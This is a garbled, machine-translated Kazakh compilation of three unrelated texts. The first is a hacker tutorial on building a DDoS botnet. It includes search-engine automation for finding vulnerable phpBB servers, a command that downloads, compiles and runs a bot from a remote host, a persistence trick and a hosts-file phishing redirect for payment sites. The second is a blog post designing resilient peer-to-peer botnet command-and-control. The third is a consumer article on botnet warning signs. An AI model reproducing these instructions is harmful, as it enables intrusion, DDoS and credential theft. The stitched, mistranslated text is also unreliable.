Біз өзіміздің жауынгерлік ботнетімізді жасаймыз. Идеал ботнет қандай болуы керек?

Қауіпсіздік жүйелері үнемі жетілдірілуде, бағдарламашылар тәжірибелі болып келеді. Қазір белгілі қателіктер азайып барады.

[пролог]
Интернет орасан зор күшпен өсіп келеді. Хакерге осалдықтарды табу қиындай түседі. Әкімшілер өз өнімдерін қорғау үшін ең жақсы қауіпсіздік мамандарын пайдаланады. Сіз өз ойыңызды танисыз ба? Шындығында, интернет осалдықтарға толы, бірақ олардың пайдасы аз. Жарайды, бұл сіздің қалай қарайтыныңызға байланысты. Бүгін біз өзіңіздің жауынгерлік ботнетіңізді құру туралы сөйлесетін боламыз.
Сонымен, «бот» дегеніміз не. Білмейтін адамның ойына бірден екі минутта түсіретін компьютерлік ойындардағы ақымақ қарсыластар келеді. Иә, бұл ішінара шындық. Біздің жағдайда «бот» - бұл оған енгізілген командаларды орындайтын бағдарлама. Ерекше ештеңе жоқ сияқты. Біреу қарсы болады: «Мен мұны бес жасымда жаздым, сен түймені бассаң, олла-ла, балалық шақты ұмытайық. Кодтау мүмкіндіктері шексіз екенін және оны жақсылық пен жамандық үшін пайдалануға болатынын бәріміз білеміз. Әрине, біз өз әзірлемелерімізді әрқашан жақсы ниетпен пайдаланамыз. «Ботнет» - бір орталықта жиналған, иесінің пәрмендерін бір уақытта орындайтын боттар жиынтығы. Айтпақшы, боттар негізінен Windows машиналарына бағытталған. Мұнда сіз парольдеріңізді ұрлай аласыз, сокс орната аласыз және бұранданы пішімдей аласыз, мен ережелерден ауытқып, nix машиналарынан ботнет жасауды айтамын. Біздің боттың негізгі қызметі - DDOS шабуылдарын ұйымдастыру. Бұл nix серверлерінің кең арналарын пайдаланудың тамаша тәсілі. Есеп шығарайық. «Жүктеп алу» қажет сервер 100 Мб арнада. Яғни бір арнада тұрған 10-20 бот серверді әп-сәтте басып кетеді. Егер сіз бір серверден брандмауэрдің артына жасыра алсаңыз, өкінішке орай, көбірек боттардан құтылу мүмкін емес.

[бот жазу]
Бот үлгісінің тізімін мақаланың соңындағы сілтеме арқылы таба аласыз. Кодты аздап қарастырайық. (Uh, Dream қайтадан IRC арқылы бәрін басқарады? WEB арқылы жақсырақ!). Айтпақшы, IRC арқылы басқару оның интерактивтілігіне байланысты таңдалды. Мен ботнеттегі бірнеше серверлерге шабуыл жасау үшін жергілікті ядролық эксплойттарды пайдаланғым келеді делік. Мен жай ғана бот арқылы SH uname -a пәрменін орындаймын және қажетті компьютерді бірден табамын. Содан кейін IRC клиентіндегі пәрменді орындау арқылы мен бэкдорды жүктеп аламын және одан әрі әрекеттер үшін интерактивті қабықты аламын. Мүмкіндіктер шексіз. Сіз мұндай бақылауды WEB арқылы жүзеге асыруға болатынын айтасыз, бірақ парақты қайта жүктеп, трафикті ысырап етудің не қажеті бар? Барлығын нақты уақыт режимінде бақылау әлдеқайда ыңғайлы (бірақ 1000-нан астам боттан тұратын ботнетпен сіз интерфейстің ыңғайлылығы туралы қамқорлық жасай аласыз - ақылға қонымды ескерту). Көптеген адамдар DDOS-ты ұйымдастыру өте қиын мәселе деп ойлайды. Міне, әдеттегі шабуыл кодының мысалы:

GET /server.org HTTP/1.0\r\nБайланыс: Keep-Alive\r\nUser-Agent: Mozilla/4.75 (X11; U; Windows 5.2 i686)\r\nХост: server.org:80\r\nҚабылдаңыз: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, image/png, */*\r\nҚабылдау-кодтау: gzip\r\nҚабылдау-тіл: kk\r\nҚабылдау-Чарсет: iso- 8859-1,*,utf-8\r\n\r\n

Яғни, біз жай ғана серверге жауап беруге мәжбүрлейтін сұрау жібереміз. Біз оны трафиктің немесе процессор уақытының жетіспеушілігінен сервер бұзылғанша жібереміз. Бірақ сіз өзіңізді тек nix боттарымен шектейсіз бе? Сондай-ақ, мысалы, AgoBot негізіндегі Windows бот-желісін жасау керек. Мұны істеу үшін сіз бот орнатылған серверге қосылатын машиналардың lsasl/dcom осалдықтарын іздейтін бот үшін кейбір кодты жасай аласыз.

[Ботнет жасау]
Ботнет құру шын мәнінде өте оңай. Ол үшін кез келген веб-скриптте осалдықты табу керек. Табылған осалдық қабықша интерпретатор командаларын орындауға мүмкіндік беруі керек. Осалдықты тапқан кезде, негізгі файлдың атына, оның тақырыбына және осал жүйенің атына назар аударыңыз. Енді осы деректерді пайдалана отырып, жақсы іздеу сұрауын жасау керек. Мысалы, phpBB-дегі белгілі осалдықты алайық<=2.0.10. Название файла - viewtopic.php, переменная указывающаю на значения топика форума - t. Значит поисковый запрос будет вида "Powered by phpBB AND viewtopic.php?t=". Чем разумнее и проще запрос ты составишь, тем больше уязвимых серверов попадутся тебе на удочку. В каждого поискового сервера язык запросов немного отличается, так что почитай его описание, перед тем как составлять запрос. Теперь нужно все это автоматизировать. Отправка запроса поисковику будем осуществлять примерно так на Perl:

$sock = IO::Socket::INET->new(PeerAddr=>"search.aol.com",PeerPort=>"80",P ro to=>"tcp") немесе келесі; басып шығару $sock "GET /aolcom/search?q=viewtopic.php%3Ft%3D7&Stage=0&page=$n HTTP/1.0\n\n"; @resu =<$sock>; close($шұлық);

Wget http://server.org/bot.c;gcc bot.c -o bash;chmod +x bash;./bash;

Мұнда сіз бірден екі мәселені көре аласыз. wget және gcc қолжетімді болмауы мүмкін немесе оларды пайдалануға тыйым салынады. Мұнда бізге fech, curl және жүктеулер немесе lynx консоль браузері көмектеседі немесе біз ftp протоколын пайдалана аламыз. Оның орындалуы күрделірек, бірақ артықшылығы - компиляторға келетін болсақ, сіз екілік файлды қабықшаңызда құрастыра аласыз және үйлесімділікпен бәрі жақсы болады деп үміттене аласыз немесе ботты түсіндірілетін тілдерге қайта жаза аласыз. - Perl немесе PHP. Әрбір әдістің өзіндік артықшылықтары мен кемшіліктері бар, олардың қайсысын таңдау сіздің таңдауыңыз. Мен түсірілген серверді максималды пайдалануға үйрендім. Өйткені, nix серверіндегі бот машинаның бірінші қайта жүктелуіне дейін ғана жұмыс істейді. Бұл жағдайдан шығудың бір қызықты жолы бар. Бот жазу үшін қолжетімді түсіндірілетін файлдарды (.pl, .php) іздейді және оларға ботты жүктеп алу және іске қосу кодын қосады. Немесе басқа Windows бот-желісін жасауға болады. Мұны жүзеге асыру да оңай. Мұнда бізге интернет-шолғышта (Internet Explorer, Opera, Mozilla) қажетті файлды жүктеп алуға және іске қосуға әкелетін осалдық қажет. Әрі қарай, зиянды кодты жүктейтін инфрамейлік жазба жасалады. Бұл жазба барлық индекстік файлдарға қосылады (немесе html коды бар барлық нәрсеге, бәрі сіздің менмендігіңізге байланысты). Мұрағаттан табатын шағын сценарий Haz бұл тапсырманы тамаша орындайды. Қате жолы Internet Explorer шолғышындағы маңызды осалдықтардың жазбаларымен толтырылған, сондықтан бізде Windows жүйелеріндегі ботнет біздің бақылауымызда болады (мен оның артықшылықтарын жоғарыда айттым). Міне, біздің іздеу құртымызды жоғары жылдамдықты қабықшада іске қосыңыз, кофе ішіңіз (сыра, арақ, қызанақ шырыны), боттың қасиеттерінде көрсетілген IRC арнасына өтіп, бағыныштыларыңыздың санын бақылаңыз. Қорытындылай келе, мені білетіндердің барлығына сәлем айтқым келеді және сізге сәттілік тілеймін. Ұсталмаңыз.
ХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХХ

phpBB-дегі осалдық 2.0.16 нұсқасына дейін өзекті, бірақ әзірлеушілер оны 2.0.11 нұсқасында түзеттік деп мәлімдейді.

Http://_exploits.ath.cx/exploits/data/bots/ http://_www.honeynet.org

Фишинг
Фишинг ұйымы ретінде боттарды пайдалану өте ыңғайлы. Ол үшін бізге қажет сайтты эмуляциялайтын фишингке арналған арнайы беттер және жақсы хостинг, арнайы сервер немесе VDS қажет. Сіз мұндай беттерді өзіңіз жасай аласыз, оларды сатып ала аласыз немесе Интернеттен таба аласыз. Таңдау өте үлкен. Көбінесе фишинг сайттарда ұйымдастырылады: e-gold.com, paypal.com, citybank.com, usbank.com, ebay.c om және басқалары электрондық коммерциямен байланысты. Әрі қарай, Windows боты \ system32 \ drivers \ etc \ hosts файлын оған сервердің IP мекенжайын қосу және оған қажетті сайттың бүркеншік атын тағайындау арқылы қайта жазады. Файл пішімі:

102.54.94.97 e-gold.com 102.54.94.97 paypal.com

Яғни, e-gold.com және paypal.com сайттарын браузерге теру арқылы пайдаланушы ешнәрседен күдіктенбестен біздің серверге түседі. Өз кезегінде фишер серверінде сәйкес домендер туралы жазбалар httpd.conf сайтына қосылады.

DocumentRoot "/home/e-gold.com/www" СерверАты "www.e-gold.com" СерверБақша аты "e-gold.com" "www.e-gold.com"

Әрине, браузер желісінде таныс e-gold.com мекенжайы болады, тіпті озық пайдаланушы да ешнәрседен күдіктенбестен сайтқа кіреді. Суретті аяқтау үшін мен айтамын, егер пайдаланушы прокси серверді пайдаланса, онда бұл әдіс жұмыс істемейді

Кез келген талғамға арналған боттар
Agobot/Phatbot/Forbot/XtremBot
Бұл боттардың ең жақсы отбасы. C++ тілінде жазылған. Оларда көптеген анықтаудан қорғау функциялары және нақты анықталған модульдік құрылымның арқасында 500-ден астам модификациялар бар.
SDbot/RBot/UrBot/UrXBot
Қазіргі уақытта DDOS шабуылдарын жасау үшін өте танымал боттар. Олардың көптеген қосымша функциялары бар. Мысалы, Sock4 ашу, keylogger, lsass және dcom осалдықтары үшін автоматты сканер. Сондай-ақ, оның \system32\drivers\etc\хосттарын өңдеу және 80-портқа шағын жалған веб-сервер орнату арқылы антивирустық компания сайттарына сұрауларды жергілікті серверге қайта бағыттау функциясы бар.
DSNX боттары
Бұл бот DDOS шабуылдарын, портты сканерлеуді және басқа да ұсақ-түйектерді жасай алады.
Q8 роботтары
Nix жүйелеріне арналған тамаша бот. Ол өзінің ықшам кодымен (27 КБ, бір файлдан тұрады) және жақсы функционалдығымен ерекшеленеді. Жаңа файлды жүктеп алу және іске қосу арқылы динамикалық түрде жаңартуға болады. Негізгі DDOS енгізулерін жақсы жүзеге асырады (SYN-flood, UDP-flood). Жүйелік командаларды орындай алады. Ол сондай-ақ жүйеде жақсы камуфляж жасайды.
Кайтен
Сондай-ақ Unix/Linux жүйелері үшін жақсы бот. Түсірілген серверде қашықтағы қабықты ашу мүмкіндігі.
Perl негізіндегі боттар
Бұл Perl тілінде жазылған өте кішкентай боттар. Unix негізіндегі жүйелердегі DDOS шабуылдары үшін қолданылады.

---
Мақалада бұзуға үлкен бейімділік бар, сондықтан түсініксіз болса, сұраңыз.

Мен тең дәрежелі желілер туралы жазбамның жобасын жариялағаным бекер емес. Оқырмандардың пікірлері өте пайдалы болды. Олар мені осы бағытта әрі қарай жұмыс істеуге шабыттандырды. Бұдан не шықты - кесілген жердің астына қараңыз.

Жазбаның аты айтып тұрғандай, бүгін біз тек ботнеттер туралы сөйлесетін боламыз. Біраз уақыттан бері файлдарды ортақ пайдалану, прокси желілер, тең дәрежелі блогтар және p2p валютасы туралы ұмытайық.

«Ботнет» сөзін заңсыз нәрсе деп түсінбеу керек. Пайдаланушы өз трафигі мен есептеу ресурстарын ғылыми жобаның қажеттіліктеріне беру үшін «ботты» өз еркімен жүктеп алып, орнатқанда, бұл да ботнет болып табылады. Тиісінше, ботмастер міндетті түрде қылмыскер емес. Ғылыми жобаға қатысқан 30 ғалымдар тобы да «ботмастер» болып табылады.

1. Сервер арқылы ботнетті басқару

Боттарды басқарудың ең оңай жолы - irc/http серверін іске қосу. Ол арқылы боттар командаларды алады және оның көмегімен олардың орындалу нәтижесін жібереді.

Мен мүмкіндігінше сурет саламын :) Бұл жағдайда иллюстрация қажет болмауы мүмкін, бірақ мен сізді қалған сызбалар жасайтын соққыға дайындауды шештім.

Өте қарапайым іске асыру, әсіресе IRC жағдайында.
Боттардан жылдам жауап.
Сіз бүкіл желіге немесе белгілі бір ботқа командалар бере аласыз.
Егер желі жүздеген түйіндерден тұрса, оны басқару үшін DalNet-тегі бір арна жеткілікті. Үлкенірек желілер үшін арзан (шамамен 300 рубль/ай) веб-хостинг алуға болады.
HTTP жағдайында-сервер әдемі UI әзірлеуді айтарлықтай жеңілдетеді. Кейбір веб-қызметте ботнет пайдаланатын болсақ, бұл маңызды.

Сервер жүктемесі. Ең үлкен ботнеттердегі түйіндердің саны миллионмен өлшенеді. Мұндай қаптайды басқару үшін бір сервер жеткіліксіз.
Серверге бірдеңе болса (желі ақауы, DDoS, деректер орталығындағы өрт), желі аяқталады.
Бір сервер желіаралық қалқанға оңай. Мұны провайдер де, пайдаланушының компьютеріндегі Kaspersky Lab өнімдері де жасай алады.
Ботмастерді табу оңай. Бірде мен VPN туралы ұмытып кеттім - қонақтарды формада күтіңіз.
IRC жағдайында, тек онлайн-боттар пәрмендерді алады. Егер бот команданы жібергеннен кейін екі минуттан кейін арнаға кірсе, ол «тақырыптан тыс» болады.
Боттардың санын және олардың IP мекенжайын IRC арнасына өту арқылы анықтауға болады. Арнаны құпия сөзбен қорғау көмектеспейді, өйткені соңғысын бот кодынан оңай таңдауға болады.

2. IRC желісі арқылы басқару

Алдыңғы әдістің кемшіліктерімен күресудің логикалық қадамы бір серверді емес, бірнеше серверді жасау болып табылады. Менің ойымша, мұны істеудің ең оңай жолы - IRC желісін арттыру. Бұл жағдайда серверлер арасында деректерді тасымалдау үшін барлық жауапкершілік IRC хаттамасына жүктеледі. Бот жағында алдыңғы шешіммен салыстырғанда ешқандай айырмашылық болмайды.

Қарапайым іске асыру, бірақ серверлерді орнатумен айналысуға тура келеді.
Боттар әлі де командаларға жылдам жауап береді.
Сіз әлі де белгілі бір ботқа командалар бере аласыз.
Серверлер арасындағы жүктемені бөлу, DDoS және форс-мажорлық жағдайлардан қорғау. Миллион боттан тұратын желі үшін ондаған жақсы серверлер жеткілікті болуы мүмкін.
Кейбір серверлер сәтсіз болса, оларды ауыстыруға уақытыңыз болады.
IRC пайдалансаңызжәне бір арнада отырған мың ботпен шатастырса, бірнеше арнаны пайдаланыңыз. Тиісінше, сіз желінің әртүрлі бөліктеріне әртүрлі тапсырмалар бере аласыз.

Серверлер/VDS үшін көбірек бөлуге тура келеді.
Сіз бір уақытта барлық серверлерді брандмауэр жасай аласыз және ботмастер оларды ауыстыруға уақыт таппайды.
Ботмастер әлі де оңай қадағаланады.
IRC жағдайында, боттардың саны мен олардың IP мекенжайлары әлі де көзге көрінбейді.
Арнаға енді ғана кірген боттар тақырыпта жоқ.

Сенім сақинасы деген сөзді мен алғаш рет алдыңғы жазбаға түсініктемелерде досым Николастан естідім. Біз ботнеттің бір бөлігіне «серверлер» функциясын тағайындау туралы айтып отырмыз.

Серверлер қажет емес.
Сенім жүздеген түйіндерден тұруы мүмкін. Мұндай irc/http серверлерінің санын көбейту және басқару оңай емес.
Боттар сенімге үнемі қосылмауы керек. Жаңа пәрмендердің пайда болғанын білу үшін 5-10 минут сайын бір рет тексеру жеткілікті. Әрбір пәрменде сенімділікте сақталатын TTL болуы керек.
Көптеген «серверлер» желінің барлық апаттарға төзімділігін қамтамасыз етеді. Сақинаның бір бөлігі өлгенде, ботмастер жаңа трастратты жасау пәрменін бере алады. Немесе мұны сақина түйіндерінің өзі жасай алады (цифрлық қолтаңба және сенімді тұлғалардың белгілі бір пайызының келісімі қажет).
Сенімділік 512 түйіннен тұрсын, кем дегенде 50% үнемі желіде болады. Егер желіде 1 000 000 бот болса және олардың әрқайсысы үнемі желіде болса, сенімді түйінге 4 000 боттан аз болады. Бот командаларды 10 минут сайын бір рет сұрағанда (немесе нәтижені жібергенде), әрбір қоңырау түйіні бір уақытта орта есеппен 7 қосылымды өңдейді. Мұндай өлшемдегі желі үшін біршама аз, солай ма?
Тек ботмастер барлық боттардың нақты тізімін ала алады.
Сіз белгілі бір ботқа немесе боттар тобына командалар бере аласыз.
Боттардың командаларға жылдам жауап беруі.
Botmaster табу қиын.

Мен көретін жалғыз жағымсыз нәрсе - іске асырудың күрделілігі.

4. Тең дәрежелі желілер

Интернет көздеріне сәйкес, P2P ботнеттері қазіргі уақытта өте танымал. Осы дереккөздердің ішінде ол ерекше назар аударуға лайық. Мұндай желідегі әрбір түйін тек бірнеше «көрші» түйіндерді біледі. Ботмастер командаларды бірнеше желі түйіндеріне жібереді, содан кейін ол көршіден көршіге беріледі.

Көршілер тізімі арнайы серверде боттарға бір рет беріледі. Бұл, мысалы, бұзылған веб-сайт болуы мүмкін. Сервер басқа ештеңе істемейді, ол тек ботнетке түйіндерді қосқанда қажет.

Іске асыру алдыңғы параграфқа қарағанда біршама қарапайым.
Барлық желі түйіндеріндегі ең аз жүктеме. Ботнеттің көлемі іс жүзінде шексіз.
DDoS, түйінді өшіру және т.б. төзімді. P2p ботнетіне брандмауэр жасау мүмкін емес.
IRC сияқты тұрақты қосылымдар жоқ.

Бізге аз уақытқа болса да сервер керек.
Түйіндер мезгіл-мезгіл өледі, бұл желінің қосылуына әсер етеді.
Барлық боттардың тізімін алу үшін, мысалы, оларға белгілі бір сайтқа кіру пәрменін беру керек. Бұл жағдайда тізімді тек ботмастер алатынына кепілдік жоқ.
Белгілі бір түйінге пәрмен беру үшін оны бүкіл желіге жіберу керек немесе түйінге тікелей қосылу керек.
Боттардың командаларға баяу жауап беруі.
«Ұзын» пәрменін жіберу үшін, мысалы, URL мекенжайларының тізімі бар, сізге үшінші тарап серверін пайдалану керек, әйтпесе боттардың жауабы одан да баяулайды.
Сервердің қандай да бір түрін пайдаланудың арқасында алдыңғы мысалға қарағанда ботмастерді табу оңайырақ.

Әрине, мен қателесуім мүмкін, бірақ менің ойымша, p2p ботнеттері сенуден әлдеқайда нашар. Мүмкін антивирус өндірушілері бірдеңені тыныштандыратын шығар?

5. Толық шешім

Жаңа және жақсы нәрсені ойлап табудың бір жолы - ескі нәрсені будандастыру. Телефонды, компьютерді, магнитофонды, фотоаппарат пен бейнекамераны біріктірдік – смартфон алдық. Автокөліктегі компьютер мен климаттық бақылау енді ешкімді таң қалдырмайды. Әр йогуртқа тоңазытқышқа магнит жапсырайық, сатылымы күрт өседі.

Егер кесіп өту сәтсіз болса, біз бекерге жақсы адамды ала алатынымызды есте ұстаған жөн. Маған генетикалық алгоритмдерді еске түсіреді, солай емес пе? Жақсы көрінетін идеяны алайық - p2p ботнет, мұнда сенімділік көршілерді тағайындауға жауапты. Сонда бізге сервер қажет емес!

Бірақ бұл жағдайда іске асырудың күрделілігі аз болса да артады. p2p ботнетінің қалған мәселелері шешілмей қалады. Жеңіс мардымсыз, есеп 1:1.

Қолыма қағаз бен қарындаш алып біраз отырған соң мынадай ой келді. Менің білуімше, бұрын-соңды айтылмаған, мұндай идеяны мен бірінші болып ойлап отырмын. ChSV плюс 100.

Егер желінің екі күйі болса ше - «белсенді» және «пассивті». Пассивті күйде ботнет p2p схемасына сәйкес жұмыс істейді. Ботмастер «әскерлерді жұмылдыру» пәрменін жібереді және желі сенімділікке айналады. Оның пәрменінде ботмастер сенімді түйіндерді және желі күйін өзгерту уақытын көрсетуі керек. Сақинаны үлкейту үшін бірнеше ботқа көршілерінің атын беруді бұйыруға болады. Әрі қарай, барлық командалар сенімгерлік арқылы беріледі. Ол сондай-ақ жаңа түйіндерге «көршілерді» тағайындауға жауапты. Егер сақинаның TTL кейіннен жеткіліксіз болып шықса, «белсенді күйді кеңейту» пәрменін беруге болады.

Мұндай ботнет p2p желісінің кемшіліктерінің ешқайсысына ие болмайды және сенім артудың барлық артықшылықтарына, сондай-ақ төмендегілерге ие болады:

DDoS шабуылдарына және p2p желісі сияқты желі сүзгілеріне төзімділіктің жоғарылауы.
Желінің тоқтап қалуы кезінде боттардың ресурстарды минималды тұтынуы. Ботмастер сенімгердің күйін бақылаудың және ол үшін жаңа түйіндерді таңдаудың қажеті жоқ.
Сенімділікті жасау кезінде тек қазіргі уақытта желіде тұрған түйіндер таңдалады. Боттар сақинаға бірінші әрекетте қосылады (біраз уақыт).
«Көршілер» тізімі мерзімді түрде жаңартылып отырады. Сонымен қатар, бүкіл ботнет уақытша сақинаға енгізілген түйіндердің IP-ді біледі. Сондықтан желіде кейбір нақты көршілер ұзақ уақыт бойы пайда болмаса, олар бұл түйіндерді көрші деп санасын.

Бұл жерде мен көріп отырған жалғыз кемшілік – іске асырудың күрделілігі. Бірақ бұл шын мәнінде проблема емес.

6. Есте сақтау керек нәрселер

Осы уақытқа дейін мен кейбір тармақтар туралы үндемедім, өйткені олар ботнетті басқарудың аталған әдістерінің кез келгеніне тән. Сіз оларға назар аударуыңыз керек.

Кейбір түйіндер желіаралық қалқан немесе NAT себебінен кіріс қосылымдарын қабылдай алмайды. Кем дегенде, бот жазу кезінде мұны ескеру қажет. Мысалы, p2p желісіндегі пәрмендерді тарату кезінде боттың өзі көршілерімен мезгіл-мезгіл байланысып тұруы керек және олардан пәрмендерді күтпейді.
Желіге жіберілген барлық командалар тыңдалады деп болжау керек. Кем дегенде, мүдделі тарап осы мақсаттар үшін бот кодын өзгерте алады. Дегенмен, желіде жіберілген барлық трафикті шифрлау мағынасы бар. Кем дегенде, бұл ботнеттің талдауын қиындатады.
Барлық ботмастер пәрмендеріне цифрлық қолтаңба қойылуы керек. Құпия сөздер жақсы емес, өйткені оларды ұстап алуға болады.
Біз іске асыру туралы айтып жатқандықтан, кез келген ботнетте кем дегенде үш пәрмен болуы керек екенін ескертемін - боттарды жаңарту, ботмастер кілтін жаңарту және бүкіл желіні өздігінен жою.
Желіде «шпиондық» түйіндер бар. Олардың кейбіреулері сенімге кіреді. Сонымен қатар, біз бұл «шпиондардың» қандай мақсаттарын көздейтінін білмейміз - бұл ботмастер IP-ін анықтау, командалардың орындалуын бұзу, желіні өшіру, ботнеттерді бақылау және т.б. болуы мүмкін. Нақтырақ айтқанда, бұл боттар сақинаға қосылу кезінде бір түйінді үнемі пайдаланбай, кездейсоқ түйінді таңдауы керек дегенді білдіреді.
Суретте сенімді түйіндер бір-бірімен қосылған, бірақ сақинаны шағын p2p желісі түрінде, яғни «көршілер» принципіне сәйкес жүзеге асыру әлдеқайда практикалық.

Сондай-ақ, 1 және 2 шешімдерінің (сервер, көптеген серверлер) көптеген кемшіліктерін жоғалтатынын және HTTP протоколын пайдалану кезінде 3-ші шешімнен (trastring) бірнеше артықшылықтарға ие болатындығын атап өткім келеді. Менің не айтқым келгенін көру үшін осы нүктелерді қайтадан айналдырыңыз.

7. Қорытындылар

Шағын желілер үшін жақсы шешім IRC пайдалану болып табылады. Мысалы, үлестірілген есептеулер үшін өзіңіздің шағын желіңізді құрғыңыз келсе, ботты үйдегі компьютерге, ноутбукке, нетбукке, жұмыс компьютеріне орнатыңыз (егер компания саясаты рұқсат берсе) және желіні DalNet арқылы басқарыңыз. Қажет болса, кейінірек желіні сенімділікке «сорғызуға» болады. Сіз тиісті пәрменді бересіз, солай ма?

Егер ботнет жақсы веб-интерфейсті қажет етсе, веб-серверден пәрмендерді алып, оларды IRC-ге жіберетін қосымша бағдарлама жазудың мағынасы болуы мүмкін. Кем дегенде, осы тәсілді қарастырыңыз.

Әмбебап шешімдер сенімді және p2p+trastring болып табылады. Мұндай желілер қанша түйін болса да, 1 немесе 1 000 000 болса да, серверлерсіз тамаша жұмыс істейді.

Сақинамен салыстырғанда таза p2p-тің айқын кемшіліктеріне байланысты, оның неліктен жақсы шешім деп саналатыны маған түсініксіз болып қала береді. Әрине, желіні құрайтын боттардың көптеген пайдалы функциялары бар. Неліктен сенімге тағы бір шағын пайдалы жүктемені - желіні жұмылдыруды қоспасқа?

Бәрі осы шығар. Мен сіздің кез келген пікірлеріңізді көруге қуаныштымын. Әсіресе сынмен, мәтіндегі дәлсіздіктерді/қайшылықтарды және көтерілген тақырыпқа қатысты өз идеяларыңызды көрсету.

Бүгінгі таңда ботнеттер киберқылмыскерлердің негізгі құралдарының біріне айналды. ComputerBild сізге ботнеттердің не екенін, олардың қалай жұмыс істейтінін және компьютеріңізді зомби желісіне түсіп қалудан қалай сақтау керектігін айтып береді.

Ботнет немесе зомби желісі - зиянкестерге басқа адамдардың машиналарын иелерінің хабарынсыз қашықтан басқаруға мүмкіндік беретін зиянды бағдарламамен зарарланған компьютерлер желісі. Соңғы жылдары зомби желілері киберқылмыскерлер үшін тұрақты табыс көзіне айналды. Үнемі төмен шығындар және ботнеттерді басқару үшін қажетті ең аз білім танымалдылықтың, демек, ботнеттердің санының өсуіне ықпал етеді. Шабуылшылар мен олардың тұтынушылары зомби желілері арқылы жүзеге асырылатын DDoS шабуылдарынан немесе спам-хабарламалардан мыңдаған доллар табады.

Менің компьютерім ботпен зарарланған ба?

Бұл сұраққа жауап беру оңай емес. Өйткені, ДК-нің күнделікті жұмысына боттардың кедергісін қадағалау мүмкін емес, өйткені ол жүйенің жұмысына ешқандай әсер етпейді. Дегенмен, жүйеде бот бар екенін анықтауға болатын бірнеше белгілер бар:

Белгісіз бағдарламалар Интернетке қосылуға тырысуда, бұл туралы брандмауэр немесе антивирустық бағдарламалық қамтамасыз ету мезгіл-мезгіл хабарлайды;

Интернетті өте аз пайдалансаңыз да, интернет-трафик өте жоғарылайды;

Жаңалары іске қосылған жүйелік процестер тізімінде пайда болады, олар кәдімгі Windows процестеріне ұқсайды (мысалы, бот scvhost.exe деп аталуы мүмкін - бұл атау Windows жүйесінің svchost.exe процесінің атына өте ұқсас; бұл өте қиын. айырмашылықты байқау үшін, бірақ бұл мүмкін).

Неліктен ботнеттер жасалады?

Ботнеттер ақша табу үшін жасалған. Зомби желілерін коммерциялық тиімді пайдаланудың бірнеше бағыттары бар: DDoS-шабуылдар, құпия ақпаратты жинау, спам жіберу, фишинг, іздеу спам, алаяқтық клик есептегіштері және т.б. Ескерту керек, шабуылдаушы таңдаған кез келген бағыт тиімді болады және Ботнет жоғарыда аталған әрекеттердің барлығын бір уақытта орындауға мүмкіндік береді.

DDoS шабуылы (ағылшынша таратылған қызмет көрсетуден бас тарту) – бұл компьютерлік жүйеге, мысалы, веб-сайтқа шабуыл, оның мақсаты жүйені «апатқа» жеткізу, яғни ол мүмкін болатын күйге келтіру. заңды пайдаланушылардың сұрауларын енді қабылдамайды және өңдемейді. DDoS шабуылын жүзеге асырудың ең кең тараған әдістерінің бірі жәбірленуші компьютерге немесе веб-сайтқа көптеген сұрауларды жіберу болып табылады, бұл шабуылға ұшыраған компьютердің ресурстары барлық кіріс сұрауларды өңдеу үшін жеткіліксіз болған жағдайда қызмет көрсетуден бас тартуға әкеледі. DDoS шабуылдары хакерлер үшін керемет қару болып табылады, ал ботнет оларды жүзеге асырудың тамаша құралы болып табылады.

DDoS шабуылдары әділетсіз бәсекелестік те, кибертерроризм актілері де болуы мүмкін. Ботнет иесі кез келген тым ұқыпты емес кәсіпкерге қызмет көрсете алады - бәсекелесінің веб-сайтына DDoS шабуылын жасайды. Мұндай жүктемеден кейін шабуыл жасалған ресурс «төмендейді», шабуылдаушы уақытша артықшылыққа ие болады, ал киберқылмыскер қарапайым (немесе онша емес) сыйақы алады.

Сол сияқты, ботнет иелерінің өздері DDoS шабуылдарын ірі компаниялардан ақша бопсалау үшін пайдалана алады. Бұл ретте компаниялар киберқылмыскерлердің талаптарын орындауды жөн көреді, өйткені сәтті DDoS шабуылдарының салдарын жою өте қымбатқа түседі. Мысалы, 2009 жылдың қаңтарында ең ірі хосттердің бірі GoDaddy.com DDoS шабуылына ұшырады, нәтижесінде оның серверлерінде орналасқан мыңдаған сайттар бір күнге дерлік қолжетімсіз болды. Хостердің қаржылық шығыны орасан зор болды.

2007 жылдың ақпанында түбірлік DNS серверлеріне бірқатар шабуылдар жасалды, олардың жұмысына бүкіл Интернеттің қалыпты жұмыс істеуі тікелей байланысты. Бұл шабуылдардың мақсаты Дүниежүзілік желіні құлату болуы екіталай, өйткені зомби желілерінің болуы Интернет бар және қалыпты жұмыс істегенде ғана мүмкін болады. Ең бастысы, бұл зомби желілерінің күші мен мүмкіндіктерін көрсету сияқты болды.

DDoS шабуыл қызметтері туралы хабарландырулар көптеген тиісті форумдарда ашық орналастырылған. Шабуылдардың бағасы DDoS ботнетінің үздіксіз жұмысының күніне 50-ден бірнеше мың долларға дейін ауытқиды. www.shadowserver.org сайтының мәліметі бойынша, 2008 жылы 190 мыңға жуық DDoS-шабуыл жасалып, одан киберқылмыскерлер 20 миллион долларға жуық табыс таба алған. Әрине, бұл сомаға бопсалаудан түскен кіріс кірмейді, оны есептеу мүмкін емес.

Құпия ақпаратты жинау

Пайдаланушылардың компьютерлерінде сақталған құпия ақпарат әрқашан шабуылдаушыларды тартады. Несие картасының нөмірлері, қаржылық ақпарат және әртүрлі қызметтердің құпия сөздері үлкен қызығушылық тудырады: пошта жәшіктері, FTP серверлері, жедел хабаршылар және т.б. Сонымен қатар, заманауи зиянды бағдарлама шабуылдаушыларға өздеріне қызықты деректерді дәл таңдауға мүмкіндік береді - мұны істеу үшін, оны компьютерге сәйкес модульге жүктеп салыңыз.

Шабуылшылар ұрланған ақпаратты сата алады немесе оны өз пайдасына пайдалана алады. Интернеттегі көптеген форумдарда күн сайын жүздеген банктік шоттарды сату туралы хабарландырулар пайда болады. Есептік жазбаның құны пайдаланушының шотындағы ақша сомасына байланысты және бір шот үшін $1-ден $1500-ге дейін ауытқиды. Төменгі шек бәсекелестік барысында осы бизнес түрімен айналысатын киберқылмыскерлер бағаны төмендетуге мәжбүр болатынын көрсетеді. Шынымен көп ақша табу үшін оларға жаңа деректердің тұрақты ағыны қажет, бұл үшін зомби желілерінің тұрақты өсуі қажет. Қаржылық ақпарат әсіресе банк карталарын жасаумен айналысатын карттар – қылмыскерлер үшін қызықты.

